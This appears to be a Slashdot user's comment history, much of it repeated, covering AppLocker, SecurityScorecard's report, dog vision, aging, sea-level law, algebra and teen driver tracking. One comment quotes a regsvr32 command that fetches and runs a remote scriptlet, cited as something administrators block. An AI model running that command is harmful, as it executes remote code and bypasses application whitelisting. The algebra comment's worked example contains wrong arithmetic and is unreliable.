Your argument appears to be that: "Applocker meets its specifications, thus its behaviour is effective".
The problem is that its specified behaviour isn't up to the task. As far as I can tell, the provided exploit would allow the user to run any of the programs you list. So, what's its point?
I never claimed that it was an anti-malware tool.
From the documentation:
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another.exe or.dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
Again:
You must thoroughly examine each application before allowing them to run by using AppLocker rules.
Do users need to be running regsvr32? No, they do not. You block it using AppLocker just like you block regedit.exe and sol.exe
Also, if you go to the trouble is implementing something AppLocker, you don't let users open cmd prompts or run bat files. No ordinary user should be able to type in anything like "regsvr32/s/n/u/i:http://server/file.sct scrobj.dll" and run it if you have control of the corporate systems.
Full disclosure: we don't use AppLocker where I work, but we use other means to block cmd prompts, browsing the file system, application launching and so on.
The point is that Applocker is not designed to prevent this kind of attack and that is spelled out in the documentation, hence the RTFM comment.
Basically, what you are saying is that Applocker is designed to be ineffective.
Lol, good one, but no.
AppLocker does what it is supposed to do, and it does not do what it says it can't do. But you would not know that unless you read the documentation. AppLocker documentation specifically says it does not protect against something like regsv32r's newly discovered behavior.
AppLockers purpose is to simplify software restriction policies and it's useful for that. If you have to create the images for 1,000 workstations, and only 500 of them have licensing for Microsoft office, 150 have licenses for the full Adobe suite,. There's several departments have a hard requirement for MS Access 2010, but MS Office 2013 is the corporate standard. You can make a single image with all the software installed and use AppLocker to prevent the people who should not be running those other apps from launching them so as to meet licensing restrictions. This beats the heck out of building and maintaining a dozen separate images for each department. There are many ways to solve this problem, sure, and AppLocker is one of them. It's base purpose not an anti-malware tool, but it can help mitigate the threat.
I did read the article, and understand the attack. The point is that Applocker is not designed to prevent this kind of attack and that is spelled out in the documentation, hence the RTFM comment.
If users can run cmd prompts and regsvr32, then you're hosed anyway. If you want to prevent misuse of regsvr32, cmd prompts and tools like that, you use Group Policy.
So basically the guy hat wrote the article had not read the TechNet article that Microsoft wrote about AppLocker's restrictions. https://technet.microsoft.com/...
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another.exe or.dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
In addition to the possibility of uncanny valley problems when serving content to animals is the problem is that animals need a much faster fps to perceive continuous motion. Dogs need about 70 fps or faster or it looks like a series of static pictures much like 5 fps might look to us. Birds need over 100fps. Older TV's were probably annoying as all get out to them. I know my dogs from long ago disliked being forced to watch "The Smothers Brothers" with me. Now I know it was due to the fps being to low.
Thanks to advances in TV technology, we can now better serve our canine companions' need for media. http://sciencenordic.com/do-do...
One unanswered question is how much variation is there among the breeds of dogs. Do smart dogs, such as Australian Shepherds, need a faster or slower frame rate than, say a Borzoi or Basset Hound? Consider that humans are easily fooled with a rather low fps.
They have a form to fill out and they send a link to your email address for the download. No biggie there, we all have many addresses. But they also demand your phone number. I'm not giving anyone my real phone number, wtf, and why would they even ask?
They haven't yet sent me a link. Anyone seen the report? I'm curious to know what was their criteria for ranking. And, considering that unauthorized penetration testing is kind of a no-no, I'm even more curious as to how they obtained their data.
I poked around on their web site and stumbled across a scroll-up window link that downloaded the file directly, although the link did not say that. http://blog.securityscorecard....
Some of their criteria makes sense: "SecurityScorecard identifies potential vulnerabilities in network security by identifying open ports and examining whether or not an organization uses best practices such as staying up-to-date with current protocols, or securing network endpoints to ensure external access to internal systems are minimized. "
Some I wonder about. This sounds like a process that would depend upon luck. I don't see how a even-handed comparison of many sites could be done. "To evaluate if malware is active in a system, SecurityScorecard reverse engineers the source code of an infection and determines how the malware communicates back to its command and control servers. Researchers can then intercept the communication, which can be traced back to an IP address from which it’s emanating, indicating an infected network. “
And then there's things like this: "SecurityScorecard identifies multiple factors related to social engineering such as employees using corporate account information in social networks, employees exposing an organization to phishing attacks and spam, and employees posting negative reviews of the business to social platforms."
Their scoring is opaque. They have like 10 items they grade on and they provide an aggregate score. You don't know if they got dinged because employees are griping on facebook, or if it's because they're running Windows NT on their web servers.
They have a form to fill out and they send a link to your email address for the download. No biggie there, we all have many addresses. But they also demand your phone number. I'm not giving anyone my real phone number, wtf, and why would they even ask?
They haven't yet sent me a link. Anyone seen the report? I'm curious to know what was their criteria for ranking. And, considering that unauthorized penetration testing is kind of a no-no, I'm even more curious as to how they obtained their data.
I used to live near a dairy farm and it looked to me like those cows had a pretty sweet life. Most of the time they wander around in the pasture doing what ever they please. Then three times a day, of their own accord, they walk to the barn to be milked and fed some stuff that's a change from grass.
But what you don't know is that after dark, when all are asleep, I'd knock those fuckers down. Ohhh, the nightmares those cows have. The sweet nightmares. Me and Sandman - a cow tipping team.
Lucky you, all I got in school even remotely related to chemistry was a thought exercise. Something along the lines of "what would happen if we exploded light?" Fucking brain dead bullshit. Obviously we would wreck the planet if not more.
Exploding light? You talking about Solaronite. It is well known that solaronite would explode the entire universe. There is a documentary film you should see: https://www.youtube.com/watch?...
Old age, as my almost 90 dad says, "sure beats the alternative".
I don't mind my failing body and mind so far. For me, it's not about the car, it's about the trip. I've seen some cool things happen over the years, and I want to see more.
I wonder what it was like for my grandparents to see all this. They were born in the 1800's and lasted until the 1970's No cars, no radio, no airplanes, no refrigerators, no air conditioning, no electric lights, no telephone. Only the well to do had heat other than a fire in a box. My grandmothers could not legally vote when they were young women. Can you imagine how cool it was to see all that come into life?
As for me, I was 6 years old the first time I saw a television. I still think it's cool in so many ways. I was a teenager when I saw a computer in use for the first time. I believe it was a GE 200 series. At about that time, the USA had more nuclear weapons than computers.
There were no satellites yet. I basically saw the entire space program unfold from start to present. Except when sputnik was launched; I don't recall the actual event. I remember people talking about it later. Everyone in the neighborhood (suburbian) went outside at night to watch Echo 1 pass overhead. Street lights were still a rarity outside the central city areas. We could see the milky way any clear night, so spotting satellites wasn't hard.
I saw the first man step onto the moon live on TV.
I saw the Berlin wall come down and the Soviet Union collapse. We're seeing China transform from an anthill slave society into... well, we'll see what happens.
I grew up in the totally segregated south and saw the civil rights movement happen, and I saw how much individual people can change. Humanity, when it's working right, is amazing.
The most recent doctor that treated me in the hospital is a black woman. Inconceivable in the 1950's in the South, or come to think of it, pretty much anywhere in the USA.
I remember a 1950's science fiction story where everyone was telepathic. Knowing everyone else's thoughts all the time was a living nightmare. Thanks to Facebook, texting, etc, we nearly have that now.
I really don't mind so much that I can no longer sleep on one side because it hurts too much to sleep, or that I cannot plan when to go to the bathroom, or that I need the subtitles turned on to understand British television...
There are so many interesting things happening, and thanks to growing up in the 20th century, the whole terrorism thing is, well, shrug, so what, to me.
I'm betting on something like CRISPR/cas9 to be the next "who knew we could do that?" technology. This is going to be way cool. I'm hoping to see mosquitoes extinct, or at least the ones attracted to humans.
There was a 1958 movie "The Long Hot Summer". It had Paul Newman, Joanne Woodward, Orson Wells, etc. If you saw it, you'll remember the closing lines from Will Varner standing in front of his burning barn. It's like that.
People should be given mod points to rate the calls they receive. The rating would be maintained by the various telcos, and the caller's rating would appear in a way that your phone could filter/ignore calls below some threshold, say from -1 to 5. People who wish to spoof caller ID, or place anonymous calls, would always have a rating of zero. People who consistently give good calls could receive a boost for spreading good karma.
It has been ruled unconstitutional for the sea levels to rise.
The ABC article and other articles derived from it are flat out wrong. What the article says is exactly the opposite of what the law said. The law REQUIRES that peer-reviewed science be used.
Here is the relevant section. "These rates shall be determined using statistically significant, peer-reviewed historical data generated using generally accepted scientific and statistical techniques. Historic rates of sea-level rise may be extrapolated to estimate future rates of rise but shall not include scenarios of accelerated rates of sea-level rise unless such rates are from statistically significant, peer-reviewed data and are consistent with historic trends."
There aren't billions of birds in the sky, especially at those altitudes, whats more birds DO cause hundreds of millions of dollars of damage to planes every year and a bird strike is significantly less dangerous than a hitting a drone. Birds at least have a chance of turning into mince and thei bones are light and hollow. A drone is metal plastic with batteries and/or fuel and will do serious damage in a high speed hit to a plane.
There are, in fact, billions of birds in the sky. The world's bird population is estimated to be between 200 to 400 billion. However, as you point out, they aren't Often found at high altitudes.
The highest recorded altitudes is 37,000 feet.
You've explained the "why" of the problem really well. I'm seeing a lot of comments, though, from people who still don't think there is a problem.
I have a daughter struggling with algebra now. When helping her with homework I've tried to explain what it's actually useful for, not just symbolic manipulation. And I've come up blank more often than not.
Do a search for "algebra practical application" and see how many people are trying and failing to explain in concrete terms how (for instance) factoring polynomials solves anything in the real world.
We should be teaching finance: interest, investing, credit cards, mortgages; demographics: mean vs. median incomes, quintiles; health: risk factors and probabilities, absolute vs. relative risk, etc.
The number/numeral system we use today is entirely based on manipulating polynomials. 1,665 = 1*x^3 + 6*X^2 + 6*x^1 +5*x^0 In the decimal numbering system,we set x = 10, and we would say four thousand one hundred fifty three. Long division (1665/45) consists of a process for dividing one polynomial (1*x^3 + 6*X^2 + 6*x^1 +5*x^0) by another (4x + 5). If your answer has no remainder, then you've also found a factor of the polynomial. In this case, it would be (3x + 7), or 37. (4x + 5) * (3x +7) = 12x^2 + 15x +28x +35 = 1x^3 + 6x^2 +6x +5 = 1665, using x = 10 in decimal system,
Forget algebra, how can you teach stats to someone with zero exposure to calculus? Probability theory can't be described without limits and infinite summations, i.e. you can't comprehend it without calculus.
You have that backwards. You have to learn limits and infinite summations before you can understand calculus, and you don't need to understand calculus to learn those things. OTOH, I can't think of a better place in a sequence of math courses to learn limits and series than within a calculus course.
The insurance companies who've been raising premiums in coastal areas sure do.
Insurance companies do not set the flood insurance rates. Flood insurances is subsidized and rates are set by the National Flood Insurance Program (NFIP), in other words, the federal government. The rates as set by the NFIP and are artificially low. My house on a coastal island (hurricanes about every 8 years) was at 11 feet above sea level and 200 feet from the water. This was a house that was guaranteed to be destroyed, and the premiums were set a level that would cover the cost of the house in 400 years.
The reason for the recent raises have nothing to do with climate change or rising sea levels. It's due the the fact that the rates have historically been set ridiculously low, and congress is attempting to set them closer to reality.
Interesting comment thread. So none of you were trusted at all by your parents when you were teenagers? Watched constantly? Did they respect you at all, or were you treated like a little criminal until you were 18, then, what, kicked out of the house? That's what some of your comments are leading me to believe.
Trust and respect are important when raising children. How are they going to trust and respect you, if you don't lead by example by trusting and respecting them? More to the point: If you didn't raise them in such a way that you can trust and respect them, then who's really at fault here? Other parents I know don't feel the need to put their teenage kids on a leash like this, and they don't get in any trouble, either, and before you say 'as far as they KNOW', it's evident from their grades in school (good) and the way they conduct themselves. Are they perfect? Of course not. But how is being 'helicopter parents' and never trusting them a good thing? Seriously, what kind of adults are they going to be when brought up in an environment like that? If you can't trust your son or daughter to be responsible when driving, then maybe you shouldn't let them drive in the first place. I think the old time-tested rule of 'get a ticket, you don't get to drive for a while' is more than adequate. We're all already surveilled everywhere we go these days, why bring it into our homes, too? Honestly, where does it end? Or are you all so thoroughly indoctrinated that being treated like a criminal and watched 24/7/365 is now 'normal' for you? If so then I mourn.
I agree with you, but this is also a case of where do you draw the lines. Phone tracking? oh, hell no. I'd never do that to my kids. Speed tracking on the car? That one is a good idea, because now we're talking about avoiding death and crippling - irreversible mistakes. But in no way would I do secret tracking. That is an insult and borderline evil. If we put it on their car, then I'll put it on my car just to be fair. Tell them it's on and why. It's just part of the deal of driving in my family. If professional drivers can live with these devices, then so can the teenagers.
However, the Microsoft patents are for stackable components that use a flux fountain. The Convergent Technologies component boxes are side-by-side and aren't held together by magnets.
Slashdot Mirror
Your argument appears to be that: "Applocker meets its specifications, thus its behaviour is effective".
The problem is that its specified behaviour isn't up to the task. As far as I can tell, the provided exploit would allow the user to run any of the programs you list. So, what's its point?
I never claimed that it was an anti-malware tool.
From the documentation:
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
Again:
You must thoroughly examine each application before allowing them to run by using AppLocker rules.
Do users need to be running regsvr32? No, they do not. You block it using AppLocker just like you block regedit.exe and sol.exe
Also, if you go to the trouble is implementing something AppLocker, you don't let users open cmd prompts or run bat files. No ordinary user should be able to type in anything like "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll" and run it if you have control of the corporate systems.
Full disclosure: we don't use AppLocker where I work, but we use other means to block cmd prompts, browsing the file system, application launching and so on.
Basically, what you are saying is that Applocker is designed to be ineffective.
Lol, good one, but no.
AppLocker does what it is supposed to do, and it does not do what it says it can't do. But you would not know that unless you read the documentation.
AppLocker documentation specifically says it does not protect against something like regsv32r's newly discovered behavior.
AppLockers purpose is to simplify software restriction policies and it's useful for that.
If you have to create the images for 1,000 workstations, and only 500 of them have licensing for Microsoft office, 150 have licenses for the full Adobe suite,. There's several departments have a hard requirement for MS Access 2010, but MS Office 2013 is the corporate standard.
You can make a single image with all the software installed and use AppLocker to prevent the people who should not be running those other apps from launching them so as to meet licensing restrictions. This beats the heck out of building and maintaining a dozen separate images for each department.
There are many ways to solve this problem, sure, and AppLocker is one of them.
It's base purpose not an anti-malware tool, but it can help mitigate the threat.
I did read the article, and understand the attack.
The point is that Applocker is not designed to prevent this kind of attack and that is spelled out in the documentation, hence the RTFM comment.
If users can run cmd prompts and regsvr32, then you're hosed anyway.
If you want to prevent misuse of regsvr32, cmd prompts and tools like that, you use Group Policy.
So basically the guy hat wrote the article had not read the TechNet article that Microsoft wrote about AppLocker's restrictions.
https://technet.microsoft.com/...
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
This bill was about exactly two things:
hastening the approval of pipelines and liquefied natural gas exports
Nothing else in that bill matters to our rulers, and nothing else in there will happen.
In addition to the possibility of uncanny valley problems when serving content to animals is the problem is that animals need a much faster fps to perceive continuous motion.
Dogs need about 70 fps or faster or it looks like a series of static pictures much like 5 fps might look to us.
Birds need over 100fps.
Older TV's were probably annoying as all get out to them. I know my dogs from long ago disliked being forced to watch "The Smothers Brothers" with me. Now I know it was due to the fps being to low.
Thanks to advances in TV technology, we can now better serve our canine companions' need for media.
http://sciencenordic.com/do-do...
One unanswered question is how much variation is there among the breeds of dogs.
Do smart dogs, such as Australian Shepherds, need a faster or slower frame rate than, say a Borzoi or Basset Hound?
Consider that humans are easily fooled with a rather low fps.
The Reuters article has a link to the actual report:
http://info.securityscorecard....
They have a form to fill out and they send a link to your email address for the download. No biggie there, we all have many addresses.
But they also demand your phone number. I'm not giving anyone my real phone number, wtf, and why would they even ask?
They haven't yet sent me a link.
Anyone seen the report? I'm curious to know what was their criteria for ranking. And, considering that unauthorized penetration testing is kind of a no-no, I'm even more curious as to how they obtained their data.
I poked around on their web site and stumbled across a scroll-up window link that downloaded the file directly, although the link did not say that.
http://blog.securityscorecard....
Some of their criteria makes sense:
"SecurityScorecard identifies potential vulnerabilities in network security by identifying open ports and examining whether or not an organization uses best practices such as staying up-to-date with current protocols, or securing network endpoints to ensure external access to internal systems are minimized. "
Some I wonder about. This sounds like a process that would depend upon luck. I don't see how a even-handed comparison of many sites could be done.
"To evaluate if malware is active in a system, SecurityScorecard reverse engineers the source code of an infection and determines how the malware communicates back to its command and control servers. Researchers can then intercept the communication, which can be traced back to an IP address from which it’s emanating, indicating an infected network. “
And then there's things like this:
"SecurityScorecard identifies multiple factors related to social engineering such as employees using corporate account information in social networks, employees exposing an organization to phishing attacks and spam, and employees posting negative reviews of the business to social platforms."
Their scoring is opaque. They have like 10 items they grade on and they provide an aggregate score. You don't know if they got dinged because employees are griping on facebook, or if it's because they're running Windows NT on their web servers.
The Reuters article has a link to the actual report:
http://info.securityscorecard....
They have a form to fill out and they send a link to your email address for the download. No biggie there, we all have many addresses.
But they also demand your phone number. I'm not giving anyone my real phone number, wtf, and why would they even ask?
They haven't yet sent me a link.
Anyone seen the report? I'm curious to know what was their criteria for ranking. And, considering that unauthorized penetration testing is kind of a no-no, I'm even more curious as to how they obtained their data.
Total grammar nazi fail.
Or people can learn to live without there god damn phone for 90 minutes.
You propose:
Or people can learn to live without they are god damn phone for 90 minutes.
I wont even give you the correct word. GO figure it out and then apologize to the rest of us.
I'll try:
Or people can learn to live without that there god damn phone for 90 minutes.
Did I win?
I used to live near a dairy farm and it looked to me like those cows had a pretty sweet life. Most of the time they wander around in the pasture doing what ever they please. Then three times a day, of their own accord, they walk to the barn to be milked and fed some stuff that's a change from grass.
But what you don't know is that after dark, when all are asleep, I'd knock those fuckers down.
Ohhh, the nightmares those cows have. The sweet nightmares.
Me and Sandman - a cow tipping team.
So you're going to make a Lenny bot for slashdot?
Kudos to that
"Just as a FYI, about half the people on this planet don't even have a cock."
But how many of those will you find on Slashdot?
lol, You win this one.
Lucky you, all I got in school even remotely related to chemistry was a thought exercise. Something along the lines of "what would happen if we exploded light?" Fucking brain dead bullshit. Obviously we would wreck the planet if not more.
Exploding light? You talking about Solaronite. It is well known that solaronite would explode the entire universe.
There is a documentary film you should see:
https://www.youtube.com/watch?...
Old age, as my almost 90 dad says, "sure beats the alternative".
I don't mind my failing body and mind so far. For me, it's not about the car, it's about the trip.
I've seen some cool things happen over the years, and I want to see more.
I wonder what it was like for my grandparents to see all this. They were born in the 1800's and lasted until the 1970's
No cars, no radio, no airplanes, no refrigerators, no air conditioning, no electric lights, no telephone. Only the well to do had heat other than a fire in a box.
My grandmothers could not legally vote when they were young women.
Can you imagine how cool it was to see all that come into life?
As for me, I was 6 years old the first time I saw a television. I still think it's cool in so many ways.
I was a teenager when I saw a computer in use for the first time. I believe it was a GE 200 series.
At about that time, the USA had more nuclear weapons than computers.
There were no satellites yet.
I basically saw the entire space program unfold from start to present. Except when sputnik was launched; I don't recall the actual event. I remember people talking about it later.
Everyone in the neighborhood (suburbian) went outside at night to watch Echo 1 pass overhead. Street lights were still a rarity outside the central city areas. We could see the milky way any clear night, so spotting satellites wasn't hard.
I saw the first man step onto the moon live on TV.
I saw the Berlin wall come down and the Soviet Union collapse. ... well, we'll see what happens.
We're seeing China transform from an anthill slave society into
I grew up in the totally segregated south and saw the civil rights movement happen, and I saw how much individual people can change.
Humanity, when it's working right, is amazing.
The most recent doctor that treated me in the hospital is a black woman. Inconceivable in the 1950's in the South, or come to think of it, pretty much anywhere in the USA.
I remember a 1950's science fiction story where everyone was telepathic. Knowing everyone else's thoughts all the time was a living nightmare.
Thanks to Facebook, texting, etc, we nearly have that now.
I really don't mind so much that I can no longer sleep on one side because it hurts too much to sleep, or that I cannot plan when to go to the bathroom, or that I need the subtitles turned on to understand British television...
There are so many interesting things happening, and thanks to growing up in the 20th century, the whole terrorism thing is, well, shrug, so what, to me.
I'm betting on something like CRISPR/cas9 to be the next "who knew we could do that?" technology. This is going to be way cool.
I'm hoping to see mosquitoes extinct, or at least the ones attracted to humans.
There was a 1958 movie "The Long Hot Summer". It had Paul Newman, Joanne Woodward, Orson Wells, etc.
If you saw it, you'll remember the closing lines from Will Varner standing in front of his burning barn.
It's like that.
People should be given mod points to rate the calls they receive. The rating would be maintained by the various telcos, and the caller's rating would appear in a way that your phone could filter/ignore calls below some threshold, say from -1 to 5.
People who wish to spoof caller ID, or place anonymous calls, would always have a rating of zero.
People who consistently give good calls could receive a boost for spreading good karma.
Yeah, the crap about "pushing mankind to its outer limits" is hard to read. Is that really what engineering does?
I don't know about engineers, but raising teenagers will sure do that.
People can fall in love with their dog, their house or their car, so a robot isn't that big a leap.
What you want to know is whether we can build a robot that falls in love with you.
North Carolina has outlawed sea level rise since 2012.
It has been ruled unconstitutional for the sea levels to rise.
The ABC article and other articles derived from it are flat out wrong.
What the article says is exactly the opposite of what the law said. The law REQUIRES that peer-reviewed science be used.
Here is the actual law from the state of North Carolina's web site. It is short an easy to read.
http://ncga.state.nc.us/sessio...
Here is the relevant section.
"These rates shall be determined using statistically significant, peer-reviewed historical data generated using generally accepted scientific and statistical techniques. Historic rates of sea-level rise may be extrapolated to estimate future rates of rise but shall not include scenarios of accelerated rates of sea-level rise unless such rates are from statistically significant, peer-reviewed data and are consistent with historic trends."
There aren't billions of birds in the sky, especially at those altitudes, whats more birds DO cause hundreds of millions of dollars of damage to planes every year and a bird strike is significantly less dangerous than a hitting a drone. Birds at least have a chance of turning into mince and thei bones are light and hollow. A drone is metal plastic with batteries and/or fuel and will do serious damage in a high speed hit to a plane.
There are, in fact, billions of birds in the sky. The world's bird population is estimated to be between 200 to 400 billion.
However, as you point out, they aren't Often found at high altitudes.
The highest recorded altitudes is 37,000 feet.
https://en.m.wikipedia.org/wik...
I already knew that birds were fucked up creatures, but until I read that, I had now idea how how messed up they were.
You've explained the "why" of the problem really well. I'm seeing a lot of comments, though, from people who still don't think there is a problem.
I have a daughter struggling with algebra now. When helping her with homework I've tried to explain what it's actually useful for, not just symbolic manipulation. And I've come up blank more often than not.
Do a search for "algebra practical application" and see how many people are trying and failing to explain in concrete terms how (for instance) factoring polynomials solves anything in the real world.
We should be teaching finance: interest, investing, credit cards, mortgages; demographics: mean vs. median incomes, quintiles; health: risk factors and probabilities, absolute vs. relative risk, etc.
The number/numeral system we use today is entirely based on manipulating polynomials.
1,665 = 1*x^3 + 6*X^2 + 6*x^1 +5*x^0
In the decimal numbering system,we set x = 10, and we would say four thousand one hundred fifty three.
Long division (1665/45) consists of a process for dividing one polynomial (1*x^3 + 6*X^2 + 6*x^1 +5*x^0) by another (4x + 5).
If your answer has no remainder, then you've also found a factor of the polynomial.
In this case, it would be (3x + 7), or 37.
(4x + 5) * (3x +7) = 12x^2 + 15x +28x +35 = 1x^3 + 6x^2 +6x +5 = 1665, using x = 10 in decimal system,
Forget algebra, how can you teach stats to someone with zero exposure to calculus? Probability theory can't be described without limits and infinite summations, i.e. you can't comprehend it without calculus.
You have that backwards.
You have to learn limits and infinite summations before you can understand calculus, and you don't need to understand calculus to learn those things.
OTOH, I can't think of a better place in a sequence of math courses to learn limits and series than within a calculus course.
I could not live with the thought of having as many as 5 digits, so I cut my thumb off.
The insurance companies who've been raising premiums in coastal areas sure do.
Insurance companies do not set the flood insurance rates. Flood insurances is subsidized and rates are set by the National Flood Insurance Program (NFIP), in other words, the federal government.
The rates as set by the NFIP and are artificially low.
My house on a coastal island (hurricanes about every 8 years) was at 11 feet above sea level and 200 feet from the water. This was a house that was guaranteed to be destroyed, and the premiums were set a level that would cover the cost of the house in 400 years.
The reason for the recent raises have nothing to do with climate change or rising sea levels. It's due the the fact that the rates have historically been set ridiculously low, and congress is attempting to set them closer to reality.
https://en.wikipedia.org/wiki/...
Interesting comment thread.
So none of you were trusted at all by your parents when you were teenagers? Watched constantly? Did they respect you at all, or were you treated like a little criminal until you were 18, then, what, kicked out of the house? That's what some of your comments are leading me to believe.
Trust and respect are important when raising children. How are they going to trust and respect you, if you don't lead by example by trusting and respecting them? More to the point: If you didn't raise them in such a way that you can trust and respect them, then who's really at fault here? Other parents I know don't feel the need to put their teenage kids on a leash like this, and they don't get in any trouble, either, and before you say 'as far as they KNOW', it's evident from their grades in school (good) and the way they conduct themselves. Are they perfect? Of course not. But how is being 'helicopter parents' and never trusting them a good thing? Seriously, what kind of adults are they going to be when brought up in an environment like that? If you can't trust your son or daughter to be responsible when driving, then maybe you shouldn't let them drive in the first place. I think the old time-tested rule of 'get a ticket, you don't get to drive for a while' is more than adequate. We're all already surveilled everywhere we go these days, why bring it into our homes, too? Honestly, where does it end? Or are you all so thoroughly indoctrinated that being treated like a criminal and watched 24/7/365 is now 'normal' for you? If so then I mourn.
I agree with you, but this is also a case of where do you draw the lines.
Phone tracking? oh, hell no. I'd never do that to my kids.
Speed tracking on the car? That one is a good idea, because now we're talking about avoiding death and crippling - irreversible mistakes.
But in no way would I do secret tracking. That is an insult and borderline evil. If we put it on their car, then I'll put it on my car just to be fair.
Tell them it's on and why. It's just part of the deal of driving in my family.
If professional drivers can live with these devices, then so can the teenagers.
In the 1980's there was a company "Convergent Technologies" that made a snap-together systems with separate boxes for CPU, Disk, graphics cards etc.
Here's some pictures:
http://www.computinghistory.or...
Some history:
https://en.wikipedia.org/wiki/...
https://en.wikipedia.org/wiki/...
And their patents:
http://bitsavers.trailing-edge...
However, the Microsoft patents are for stackable components that use a flux fountain.
The Convergent Technologies component boxes are side-by-side and aren't held together by magnets.